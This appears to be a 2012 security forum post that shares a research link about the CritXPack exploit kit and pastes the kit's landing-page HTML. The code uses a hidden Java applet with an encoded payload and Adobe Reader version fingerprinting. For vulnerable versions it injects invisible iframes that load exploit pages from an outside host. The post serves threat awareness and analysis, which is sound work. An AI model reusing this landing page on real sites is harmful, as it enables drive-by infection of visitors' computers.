Author Topic: CritXPack exploit kit (Previously Vintage Pack)  (Read 5623 times)

0 Members and 1 Guest are viewing this topic.

November 12, 2012, 10:20:36 pm
Read 5623 times

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
http://malware.dontneedcoffee.com/2012/11/meet-critxpack-previously-vintage-pack.html



example code:

Code: [Select]
<html><head><script src="js/pd.js"></script></head><body><div style="visibility:hidden"><applet code="a.Test" archive="j.php?t=u0059u0053u0072u0074u0031u0072u0046u0074u0031u0031" width="1" height="1"><param name="oh" value="dXXOszzLFjHiXZ9diHFO6f9UHjzlD5###YBzoUFf9OdORiM4DDSF4DDr#4DD1r4DDr#pXUPi=M4DDrS4DDrA4DDrr4DDr#4DD1A4DDrW4DD1Sp"></applet></div><script>function ifr(abc){var dh = document.createElement("iframe");dh.setAttribute("width", 1);dh.setAttribute("height", 1);dh.setAttribute("src", abc);document.body.appendChild(dh);};function pdf(){try{PluginDetect.getVersion('.');var inp = PluginDetect.getVersion('AdobeReader').split('.');var pdfver = parseInt(inp[0]+inp[1]+inp[2]);if((pdfver>=800&&pdfver<=820)||(pdfver>=900&&pdfver<=930)){ifr("http://magrety.herapid.org/b081112s/p5.php?t=u0059u0053u0072u0074u0031u0072u0046u0074u0031u0031&oh=ZFhYT3N6ekxGakhpWFo5ZGlIRk82ZjlVSGp6bEQ1IyMjWUJ6b1VGZjlPZE9SaU00RERBRDRERHJTNEREcnJwWFVQaT1NNEREclM0RERyQTRERHJyNEREciM0REQxQTRERHJXNEREMVNw");}if (pdfver >= 600 && pdfver < 800){ifr("http://magrety.herapid.org/b081112s/p3.php?t=u0059u0053u0072u0074u0031u0072u0046u0074u0031u0031&oh=ZFhYT3N6ekxGakhpWFo5ZGlIRk82ZjlVSGp6bEQ1IyMjWUJ6b1VGZjlPZE9SaU00RERBRDRERHJTNEREcnJwWFVQaT1NNEREclM0RERyQTRERHJyNEREciM0REQxQTRERHJXNEREMVNw");}} catch(e){}}setTimeout(pdf,3000);</script></body></html>
Ruining the bad guy's day